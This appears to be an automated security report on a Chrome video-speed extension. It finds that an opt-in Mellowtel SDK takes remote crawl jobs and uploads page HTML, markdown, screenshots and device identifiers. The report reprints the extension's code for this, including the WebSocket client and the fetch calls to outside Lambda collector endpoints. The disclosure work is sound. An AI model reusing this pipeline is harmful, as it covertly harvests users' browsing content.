Is Video Speed Controller – Speed Up & Increase Video speed! safe?

Clean risk

This extension lets you adjust video playback speed in the browser.

It provides a user-friendly interface for increasing video playback speed. The store description says it works on YouTube, Netflix, and many other video sites for lectures, movies, tutorials, and similar content.

Umbrellav1.0.1Chrome Web Store
6Risk
Who publishes it

Umbrella - 3 other listings from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Umbrella

Same store account

3 other listings published from this account, 12k+ users between them, none of them carrying a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Mellowtel crawl jobs can upload page content

After the required Mellowtel opt-in, a Mellowtel WebSocket client starts.

Remote crawl jobs can load pages, collect HTML/markdown and DOM values, then upload results with final URLs and identifiers to Mellowtel Lambda or signed endpoints.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You enable the optional Mellowtel feature in the extension.

The extension did this

The extension can receive remote crawl jobs and upload content from pages the browser loads.

Dynamic analysis observed the approval and WebSocket path; the shipped code contains the crawl and upload pipeline.

Captured request
POSThttps://afcha2nmzsir4rr4zbta4tyy6e0fxjix.lambda-url.us-east-1.on.aws/

Behavioral verification recorded POST traffic to this Lambda save endpoint. The evidence did not record a request body.

Headers
Content-Type
text/plain
Captured request
GEThttps://5xub3rkd3rqg6ebumgrvkjrm6u0jgqnw.lambda-url.us-east-1.on.aws/?recordID=rec_8f3c2a91

The code requests signed upload URLs for HTML, markdown, contained HTML, and rendered-page image data.

Fields the shipped upload code can send
  • Target page URL
    https://portal.example.com/account/settings?sb-p2p=true&should-crawl=true&record-id=rec_8f3c2a91 (illustrative)

    The remote job tells the extension which page to load and crawl.

  • Final page URL
    https://portal.example.com/account/settings (illustrative)

    The uploaded record can include the final page address after navigation or redirects.

  • Page HTML
    <main><h1>Account settings</h1><input name="email" value="alex@example.com"></main> (illustrative)

    Captured HTML can expose page text, structure, and values currently present in fields.

  • Page markdown
    # Account settings Email: alex@example.com (illustrative)

    A markdown copy can preserve readable page content in a compact text format.

  • Node identifier
    node_7c64f0a9b23d4e18 (illustrative)

    The upload can include a device-specific identifier that links crawl results back to the browser installation.

  • Request metadata
    {"save_html_endpoint":"https://collector.example.net/save"} (illustrative)

    The upload can carry job metadata, including alternate save or update endpoints supplied with the crawl request.

  • Rendered image
    image_rec_8f3c2a91.png (illustrative)

    If the visual capture option is enabled, the extension can upload a PNG rendering of the page body.

The code that does this

Shipped Mellowtel crawl and upload pipeline

Readable version

Opt-in message handler starts the Mellowtel SDK (formatted)

background.js
let zs;((async () => {  ((zs = new Ws("e4385428")), await zs.initBackground());})(),  chrome.runtime.onMessage.addListener(async (e, t, n) => {    if ("get_opt_in_status" === e.action)      try {        n({ success: !0, termsAccepted: await zs.getOptInStatus() });      } catch (e) {        (console.error("Ошибка при получении статуса подписки:", e),          n({ success: !1, error: e.message }));      }    if ("accept_terms" === e.action)      try {        (await zs.optIn(), await zs.start(), n({ success: !0 }));      } catch (e) {        (console.error("Ошибка при подписке:", e), n({ success: !1, error: e.message }));      }    if ("opt_out_page" === e.action)      try {        const e = await zs.generateSettingsLink();        (chrome.tabs.create({ url: e }), console.log("Generated Settings Link:", e));      } catch (e) {        console.error("Error generating settings link:", e);      }    return !0;  }));

Mellowtel WebSocket and approval endpoints (formatted)

content_script.js
var Us,  Ms,  Ps,  Ds,  Ls,  Rs,  Qs,  Ns,  Hs,  js = Rn(() => {    (lr(),      Fs(),      xs(),      cr(),      $n(),      Vn(),      ii(),      pr(),      Ar(),      Ci(),      ks(),      Is(),      Si(),      (Us = !1),      (Ms = "wss://ws.mellow.tel"),      (Ps = [3e4, 6e4, 3e5, 6e5, 12e5, 36e5]),      (Ds = !1),      (Ls = 0),      (Rs = null),      (Qs = [3e4, 6e4, 3e5, 6e5, 12e5, 36e5]),      (Ns = 18e5),      (Hs = "https://api.mellow.tel/approval"));  });

Approval request builder (formatted)

content_script.js
function Ts(e) {  return Nn(this, null, function* () {    let t = yield Hn("websocket_approval_cache", !0),      n = Date.now();    if (t) {      let e = JSON.parse(t);      if (n - e.timestamp < Ns)        return (          Yn.log(            `[🌐]: Using cached websocket approval result with timestamp: ${e.timestamp}. Minutes until expiration: ${(Ns - (n - e.timestamp)) / 6e4}`,          ),          e.isApproved        );    }    let r = new URLSearchParams({      device_id: e.device_id,      plugin_id: e.plugin_id,      version: e.version,      speed_download: e.speed_download.toString(),      platform: e.platform,      manifest_version: e.manifest_version,      pascoli: e.pascoli.toString(),      burke: e.burke.toString(),      meucci: e.meucci.toString(),      ws_client: "new_ws",    });    return _s(`${Hs}?${r.toString()}`);  });}

WebSocket connection and remote message dispatch (formatted)

content_script.js
function Os(e) {  return Nn(this, null, function* () {    if (Us)      return void Yn.log("[🌐]: Retry attempt already in progress, not starting new connection");    Rs && (clearTimeout(Rs), (Rs = null));    let t = gr(),      n = yield dr();    if (      (Yn.log("############################################################"),      Yn.log(`[startConnectionWs]: Manifest version: ${t}`),      Yn.log(`[startConnectionWs]: Is in service worker: ${n}`),      n)    ) {      let n = yield new Promise((e) => {        try {          e(navigator.connection.effectiveType || "unknown");        } catch (t) {          e("unknown");        }      });      if ((Yn.log(`[🌐]: Effective connection type: ${n}`), !ri.includes(n)))        return void Yn.log("[🌐]: Not connecting to websocket to preserve bandwidth");      let r,        i = yield Hn("device_disconnect_session", !0);      if ((Yn.log("[🌐]: Discon.Sess =>", i), i))        return void Yn.log("[🌐]: Device disconnect for session, not connecting to websocket");      if (        ("2" === t.toString()          ? (Yn.log("[🌐]: MV2 Getting webSocketConnected from DOM MODEL..."),            (r = null !== document.getElementById("webSocketConnected")))          : (Yn.log("[🌐]: MV3 Getting webSocketConnected from shared memory..."), (r = Ds)),        Yn.log(`[🌐]: webSocketConnected: ${r}`),        !r)      ) {        if (!(yield Ss.getIfRateLimitReached())) {          let n = yield qn(),            r = yield ti();          Yn.log(`[🌐]: Connection speed: ${r} Mbps`);          let i = ur();          Yn.log(`[🌐]: Browser: ${i}`);          let a = yield (function () {              return new Promise((e) =>                Nn(this, null, function* () {                  let t = yield Hn("mllwtl_pascoliFilePath", !0);                  if ((Yn.log("[pascoli]: pascoliFilePath", t), !t)) return void e(!1);                  let n = chrome.runtime.getManifest().web_accessible_resources;                  if ((Yn.log("[pascoli]: webAccessibleResources", n), !n)) return void e(!1);                  let r = !1;                  (n.forEach((e) => {                    if ("string" == typeof e) fr(e) === fr(t) && (r = !0);                    else if ("object" == typeof e && "resources" in e) {                      let n = e;                      n.resources.some((e) => fr(e) === fr(t)) &&                        n.matches.includes("<all_urls>") &&                        (r = !0);                    }                  }),                    e(r));                }),              );            })(),            s = yield (function () {              return new Promise((e) =>                Nn(this, null, function* () {                  let t = yield Hn("mllwtl_meucciFilePath", !0);                  if ((Yn.log("[meucci]: meucciJSFileName", t), !t)) return void e(!1);                  let n = chrome.runtime.getManifest().web_accessible_resources;                  if (!n) return void e(!1);                  let r = !1;                  (n.forEach((e) => {                    if ("string" == typeof e) fr(e) === fr(t) && (r = !0);                    else if ("object" == typeof e && "resources" in e) {                      let n = e;                      n.resources.some((e) => fr(e) === fr(t)) &&                        n.matches.includes("<all_urls>") &&                        (r = !0);                    }                  }),                    e(r));                }),              );            })();          if (            (Yn.log(`[🌐]: Manifest version: ${t}`),            Yn.log(`[🌐]: Extension identifier: ${n}`),            Yn.log(`[🌐]: Is Pascoli enabled: ${a}`),            Yn.log(`[🌐]: Is Meucci enabled: ${s}`),            !(yield Ts({              device_id: e,              plugin_id: n,              version: Jn,              speed_download: r,              platform: i,              manifest_version: t.toString(),              pascoli: a,              burke: s,              meucci: s,            })))          )            return void Yn.log("[🌐]: Websocket connection not approved by API");          Yn.log("[🌐]: Websocket connection approved, establishing connection...");          let o = new In(            `${Ms}?device_id=${e}&version=${Jn}&plugin_id=${encodeURIComponent(n)}&speed_download=${r}&platform=${i}&manifest_version=${t}&pascoli=${a}&burke=${s}&meucci=${s}&ws_client=new_ws`,          );          return (            (o.onopen = function () {              if (((Ls = 0), "2" === t.toString())) {                Yn.log("[🌐]: MV2 Setting webSocketConnected in DOM MODEL...");                let e = document.createElement("input");                (e.setAttribute("type", "hidden"),                  e.setAttribute("id", "webSocketConnected"),                  e.setAttribute("value", "true"),                  document.body.appendChild(e));              } else                (Yn.log("[🌐]: MV3 Setting webSocketConnected in shared memory..."), (Ds = !0));              Yn.log(`[🌐]: connected with device_id= ${e} and version= ${Jn}`);            }),            (o.onclose = function () {              return Nn(this, null, function* () {                var n;                "3" === t.toString()                  ? (Ds = !1)                  : null == (n = document.getElementById("webSocketConnected")) || n.remove();                let r = yield Hn("device_disconnect_session", !0);                if ((Yn.log("[🌐]: Discon.Sess =>", r), (yield vs()) && !r)) {                  let t = Ps[Math.min(Ls, Ps.length - 1)];                  (Yn.log(`[🌐]: Connection closed. Attempting reconnect in ${t / 1e3} seconds...`),                    (Rs = setTimeout(                      () =>                        Nn(this, null, function* () {                          (Ls++, yield Os(e));                        }),                      t,                    )));                }              });            }),            (o.onmessage = function (e) {              return Nn(this, null, function* () {                if (yield vs()) {                  if (                    (e = JSON.parse(e.data)).hasOwnProperty("type_event") &&                    "heartbeat" === e.type_event                  )                    return;                  if (e.hasOwnProperty("type_event") && "disconnect_device" === e.type_event)                    return (                      Yn.log("[🌐]: Device disconnected, closing connection..."),                      yield jn("device_disconnect_session", !0),                      void o.close()                    );                  if (e.hasOwnProperty("type_event") && "refresh_cereal" === e.type_event)                    return (                      Yn.log("[🌐]: Refreshing cereal frame..."),                      void (yield (function () {                        return new Promise((e) =>                          Nn(this, null, function* () {                            var t;                            let n = yield Hn("mllwtl_cereal_frame_tab", !0);                            Yn.log("[refreshCereal] => Stored Tab:", n);                            let r = null != (t = null == n ? void 0 : n.tabId) ? t : null;                            (Yn.log("[refreshCereal] => Target Tab ID:", r),                              null === r &&                                (Yn.log("[refreshCereal] => No Stored tab found."),                                e({ success: !1, message: "not tab found" })),                              Yn.log("[refreshCereal] => Verifying Tab:", r));                            try {                              let e = yield new Promise((e) => {                                null != r &&                                  chrome.tabs.get(r, (t) => {                                    e(!chrome.runtime.lastError && !!t);                                  });                              });                              (Yn.log("[refreshCereal] => Tab Exists:", e), e || (r = null));                            } catch (e) {                              r = null;                            }                            (null === r &&                              (Yn.log("[refreshCereal] => Tab does not exist."),                              e({ success: !1, message: "not tab found" })),                              Yn.log("[refreshCereal] => Sending message to refresh tab:", r),                              null != r &&                                (yield Wn(r, { intent: "mllwtl_refreshCerealFrame" }),                                e({ success: !0 })));                          }),                        );                      })())                    );                  let t = !1;                  e.hasOwnProperty("method") && "POST" === e.method && (t = !0);                  let n = !1;                  e.hasOwnProperty("method") && "GET" === e.method && (n = !0);                  let r = !1,                    i = "",                    a = 4,                    s = 500;                  if (e.hasOwnProperty("type_event") && "batch" === e.type_event) {                    ((r = !0), (i = e.batch_id));                    let t = "request";                    (e.hasOwnProperty("type_batch") && (t = e.type_batch),                      e.hasOwnProperty("parallel_executions_batch") &&                        (a = Math.min(                          parseInt(e.parallel_executions_batch),                          "request" === t ? 4 : 10,                        )),                      e.hasOwnProperty("delay_between_executions") &&                        (s = parseInt(e.delay_between_executions)));                  }                  let { shouldContinue: A, isLastCount: c } = yield Ss.checkRateLimit();                  if (A || t || r || n) {                    (c &&                      !t &&                      !r &&                      !n &&                      (Yn.log("[🌐]: Last count reached, closing connection..."),                      yield jn("mllwtl_rate_limit_reached", !0),                      o.close()),                      e.hasOwnProperty("recordID") &&                        (yield (function (e) {                          return new Promise(function (t) {                            try {                              chrome.storage.local.get(["recordsMessageInfo"], function (n) {                                let r = n.recordsMessageInfo || [],                                  i = !1;                                for (let t = 0; t < r.length; t++)                                  if (r[t].recordID === e.recordID) {                                    ((r[t] = e), (i = !0));                                    break;                                  }                                (i || r.push(e),                                  chrome.storage.local.set({ recordsMessageInfo: r }, function () {                                    t("done");                                  }));                              });                            } catch (e) {                              (Yn.log("addToRequestMessageStorage error", e), t("done"));                            }                          });                        })(e)),                      Yn.log("[🌐]: MV2/MV3 Sending message to a viable content script..."));                    let A = !1;                    chrome.tabs.query({}, (t) =>                      Nn(this, null, function* () {                        for (let n of t) {                          if (A) {                            Yn.log("[🌐]: Tab already replied, breaking...");                            break;                          }                          yield Wn(n.id, {                            intent: "preProcessCrawl",                            data: JSON.stringify(e),                            BATCH_execution: r,                            batch_id: i,                            parallelExecutionsBatch: a,                            delayBetweenExecutions: s,                          }).then((e) => {                            "success" === e &&                              (Yn.log("[🌐]: Tab replied success, setting tabReply to true..."),                              (A = !0));                          });                        }                      }),                    );                  } else                    (Yn.log("[🌐]: Rate limit reached, closing connection..."),                      yield jn("mllwtl_rate_limit_reached", !0),                      o.close());                }              });            }),            o          );        }        {          Yn.log("[🌐]: Rate limit, not connecting to websocket");          let { timestamp: t, count: n } = yield Ss.getRateLimitData(),            r = Date.now(),            i = Ss.calculateElapsedTime(r, t);          (Yn.log(`[🌐]: Time elapsed since last request: ${i}`),            i > sr &&              (Yn.log(                "[🌐]: Time elapsed is greater than REFRESH_INTERVAL, resetting rate limit data",              ),              yield jn("mllwtl_rate_limit_reached", !1),              (Ls = 0),              yield Ss.resetRateLimitData(r, !1),              Os(e)));        }      }    } else      (Yn.log("[🌐]: MV2/MV3 Sending message to background to start websocket..."),        yield zn({ intent: "startWebsocket", identifier: e }));  });}

Remote crawl job becomes page-crawl instructions (formatted)

content_script.js
function Pi(  e,  t,  n,  r,  i,  a,  s,  o,  A,  c,  l,  h,  u,  d,  g,  f,  p,  m,  b,  w,  y = "",  B = !1,  C = !1,  v = !1,  S = "1024px",  F = "768px",  x = !1,  k = !1,  I = "",  E = "",  T = "",  _ = "",  O = 500,  U = !1,  M = !1,  P = !1,  D = "{}",  L = "",  R = !1,  Q = "{}",  N = "{}",) {  return new Promise((H) =>    Nn(this, null, function* () {      let [j, $] = (function (e, t) {        e.startsWith("http://") && (e = e.replace("http://", "https://"));        let n = new URL(e),          r = new URLSearchParams(n.search);        (r.append("sb-p2p", "true"),          r.append("should-crawl", "true"),          r.append("record-id", t),          (n.search = r.toString()));        let i = n.hostname;        return [(e = n.toString()), i];      })(e, t);      (Yn.log("[🌐 crawlP2P] : url_to_crawl => " + j), Yn.log("[🌐 crawlP2P] : hostname => " + $));      (x || k || U) && (b = !0);      let K = {        isMCrawl: !0,        fastLane: o,        url_to_crawl: j,        recordID: t,        removeCSSselectors: a,        classNamesToBeRemoved: s,        saveHtml: r,        saveMarkdown: i,        waitBeforeScraping: n,        waitForElement: A,        waitForElementTime: c,        removeImages: l,        htmlTransformer: h,        isPDF: u,        saveText: d,        orgId: g,        BATCH_execution: w,        batch_id: y,        fetchInstead: B,        htmlVisualizer: C,        htmlContained: v,        screenWidth: S,        screenHeight: F,        POST_request: x,        GET_request: k,        methodEndpoint: I,        methodPayload: E,        methodHeaders: T,        actions: _,        delayBetweenExecutions: O,        openTab: U,        openTabOnlyIfMust: M,        pascoli: P,        cerealObject: D,        refPolicy: L,        rawData: R,        bCrewObject: Q,        burkeObject: N,      };      (hr(w) >= 4 && !w        ? (Yn.log("Too many iframes on page. Not injecting"),          yield mi(            {              url: e,              recordID: t,              eventData: K,              waitForElement: A,              shouldSandbox: f,              sandBoxAttributes: p,              triggersDownload: m,              skipHeaders: b,              hostname: $,              htmlVisualizer: C,              htmlContained: v,              screenWidth: S,              screenHeight: F,              POST_request: x,              GET_request: k,              methodEndpoint: I,              methodPayload: E,              methodHeaders: T,              actions: _,              delayBetweenExecutions: O,              openTab: U,              openTabOnlyIfMust: M,              pascoli: P,              cerealObject: D,              refPolicy: L,              rawData: R,              bCrewObject: Q,              burkeObject: N,            },            w,          ))        : yield Di(            e,            t,            K,            A,            f,            p,            w,            y,            m,            b,            $,            C,            v,            S,            F,            x,            k,            I,            E,            T,            _,            O,            U,            M,            P,            D,            L,            Q,            N,          ),        H("done"));    }),  );}

Captured HTML and markdown are posted to the save endpoint (formatted)

content_script.js
function xi(e, t, n, r, i, a, s, o, A, c, l, h, u = !1, d = 500, g = !1, f = "{}") {  return Nn(this, null, function* () {    (Yn.log("📋 Saving Crawl 📋"), Yn.log("RecordID:", e));    let g = {};    (Yn.log("[postStringMarkDownToUrl] : cerealObject => "),      Yn.log(f),      Yn.log("############################################"));    try {      JSON.parse(f).useCereal &&        (Yn.log("[postStringMarkDownToUrl] : using cereal [🥣]"),        (g = yield vi(f, e, t)),        Yn.log("[postStringMarkDownToUrl] : cereal_result => "),        Yn.log(g),        Yn.log("############################################"));    } catch (e) {      (Yn.log("[postStringMarkDownToUrl] : error in parsing cerealObject => ", e), (g = {}));    }    Gn().then((f) =>      Nn(this, null, function* () {        let p = yield Bi(e);        (Yn.log("###### Request Message Info ######"),          Yn.log(p),          Yn.log("##############################"));        let m = "https://afcha2nmzsir4rr4zbta4tyy6e0fxjix.lambda-url.us-east-1.on.aws/";        (p &&          p.save_html_endpoint &&          (Yn.log("Using save_html_endpoint from requestMessageInfo:", p.save_html_endpoint),          (m = p.save_html_endpoint)),          Yn.log("Node Identifier:", f));        let b = yield xr(e);        Yn.log("[saveCrawl] => More Info:", b);        let w = {          recordID: e,          fastLane: r,          url: i,          htmlTransformer: a,          orgId: s,          saveText: o,          node_identifier: f,          BATCH_execution: l,          batch_id: h,          final_url: window.location.href,          website_unreachable: u,          statusCode: b.statusCode,          requestMessageInfo: p,          saveHtml: A,          saveMarkdown: c,          cereal_result: JSON.stringify(g),        };        (A && (w.content = t), c && (w.markDown = n));        let y = {          method: "POST",          headers: { "Content-Type": "text/plain" },          body: JSON.stringify(w),        };        (Yn.log("Sending data to server:", w),          fetch(m, y)            .then((e) => {              if (!e.ok) throw new Error("Network response was not ok");              return e.json();            })            .then((t) =>              Nn(this, null, function* () {                return (Yn.log("Response from server:", t), yield Pr(e, l, d), t);              }),            )            .catch((t) =>              Nn(this, null, function* () {                return (Yn.error("Error:", t), yield Pr(e, l, d), t);              }),            ));      }),    );  });}

Signed upload URLs are requested for HTML, markdown, and images (formatted)

content_script.js
function oa(e) {  return Nn(this, null, function* () {    return new Promise((t) => {      fetch("https://5xub3rkd3rqg6ebumgrvkjrm6u0jgqnw.lambda-url.us-east-1.on.aws/?recordID=" + e)        .then((e) => {          if (!e.ok) throw new Error("[getS3SignedUrl]: Network response was not ok");          return e.json();        })        .then((e) => {          (Yn.log("[getS3SignedUrl]: Response from server:", e),            t({              uploadURL_htmlVisualizer: e.uploadURL_htmlVisualizer,              uploadURL_html: e.uploadURL_html,              uploadURL_markDown: e.uploadURL_markDown,              uploadURL_html_contained: e.uploadURL_html_contained,            }));        });    });  });}

Optional rendered-page image upload (formatted)

content_script.js
function ha(e, t, n, r, i, a, s, o = 500, A = !1) {  return Nn(this, null, function* () {    if (      (Yn.log("📋  saveWithVisualizer - Saving Crawl 📋"),      Yn.log("RecordID:", e),      !(yield sa(r, s, a)))    )      return (Yn.log("URL did not pass through filters"), Pr(e, !1));    let A = yield oa(e),      c = A.uploadURL_htmlVisualizer,      l = A.uploadURL_html,      h = A.uploadURL_markDown;    (yield zn({ intent: "putHTMLToSigned", htmlURL_signed: l, content: t }),      yield zn({ intent: "putMarkdownToSigned", markdownURL_signed: h, markDown: n }),      setTimeout(        () =>          Nn(this, null, function* () {            if (ua)              return (                Yn.error("HTML Visualizer Timed Out"),                yield la(e, r, i, a, "text_" + e + ".txt", "markDown_" + e + ".txt"),                Pr(e, !1, o)              );            (Yn.log("HTML Visualizer Completed Correctly"), (ua = !0));          }),        2e4,      ),      Yn.log("Attempting to visualize HTML..."),      yield zn({ intent: "fixImageRenderHTMLVisualizer" }));    let u = yield ra(document.body, { useCORS: !0, logging: !1 })      .then(function (e) {        return (Yn.log("IMAGE IS HERE"), e ? e.toDataURL("image/png") : "");      })      .catch(function (e) {        return Nn(this, null, function* () {          Yn.error("[SCRIPT IS] : ERROR => ", e);        });      });    (Yn.log(u),      yield zn({        intent: "putHTMLVisualizerToSigned",        htmlVisualizerURL_signed: c,        base64image: u,      }),      yield zn({ intent: "resetImageRenderHTMLVisualizer" }),      yield la(        e,        r,        i,        a,        "text_" + e + ".txt",        "markDown_" + e + ".txt",        "image_" + e + ".png",        o,      ),      (ua = !1));  });}

Metadata update records final URL and uploaded file names (formatted)

content_script.js
function la(e, t, n, r, i = "--", a = "--", s = "--", o = 500) {  return Nn(this, null, function* () {    (Yn.log("📋  updateDynamo - Saving Crawl 📋"),      Yn.log("RecordID:", e),      Yn.log("URL:", t),      Yn.log("HTML Transformer:", n),      Yn.log("OrgID:", r),      Yn.log("HTML Key:", i),      Yn.log("Markdown Key:", a),      Yn.log("HTML Visualizer Key:", s),      Yn.log("Delay Between Executions:", o),      Gn().then((A) =>        Nn(this, null, function* () {          let c = "https://zuaq4uywadlj75qqkfns3bmoom0xpaiz.lambda-url.us-east-1.on.aws/",            l = yield Bi(e);          (l &&            l.update_dynamo_endpoint &&            (Yn.log(              "Using update_dynamo_endpoint from requestMessageInfo:",              l.update_dynamo_endpoint,            ),            (c = l.update_dynamo_endpoint)),            Yn.log("Device Identifier:", A));          let h = yield xr(e);          Yn.log("[updateDynamo] => More Info:", h);          let u = {              recordID: e,              url: t,              htmlTransformer: n,              orgId: r,              device_identifier: A,              final_url: window.location.href,              htmlFileName: i,              markdownFileName: a,              htmlVisualizerFileName: s,              statusCode: h.statusCode,              requestMessageInfo: l,            },            d = {              method: "POST",              headers: { "Content-Type": "text/plain" },              body: JSON.stringify(u),            };          (Yn.log("[updateDynamo]: Sending data to server =>"),            Yn.log(u),            fetch(c, d)              .then((e) => {                if (!e.ok) throw new Error("Network response was not ok");                return e.json();              })              .then((t) => (Yn.log("Response from server:", t), Pr(e, !1, o)))              .catch((t) => (Yn.error("Error:", t), Pr(e, !1, o))));        }),      ));  });}
Remote services used by the crawl flow
    • api.mellow.tel

    Mellowtel approval endpoint checked before the WebSocket client starts.

    • ws.mellow.tel

    Mellowtel WebSocket service that receives the extension device ID, plugin ID, version, speed, and feature flags, then delivers remote messages.

    • afcha2nmzsir4rr4zbta4tyy6e0fxjix.lambda-url.us-east-1.on.aws

    Default Lambda save endpoint for captured HTML, markdown, final URL, identifiers, and crawl metadata.

    • 5xub3rkd3rqg6ebumgrvkjrm6u0jgqnw.lambda-url.us-east-1.on.aws

    Lambda endpoint that returns signed upload URLs for HTML, markdown, contained HTML, and rendered-page images.

    • zuaq4uywadlj75qqkfns3bmoom0xpaiz.lambda-url.us-east-1.on.aws

    Default metadata update endpoint for final URL, device identifier, status code, and uploaded file names.

What it can do

Permissions this extension asks for, as declared in version 1.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Run hidden pages in the background

    offscreen

  • Capture the video and audio of a tab

    tabCapture

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Updated 30 September 2026mbfnekhdhojdniedgmnnjdfaegiaamlo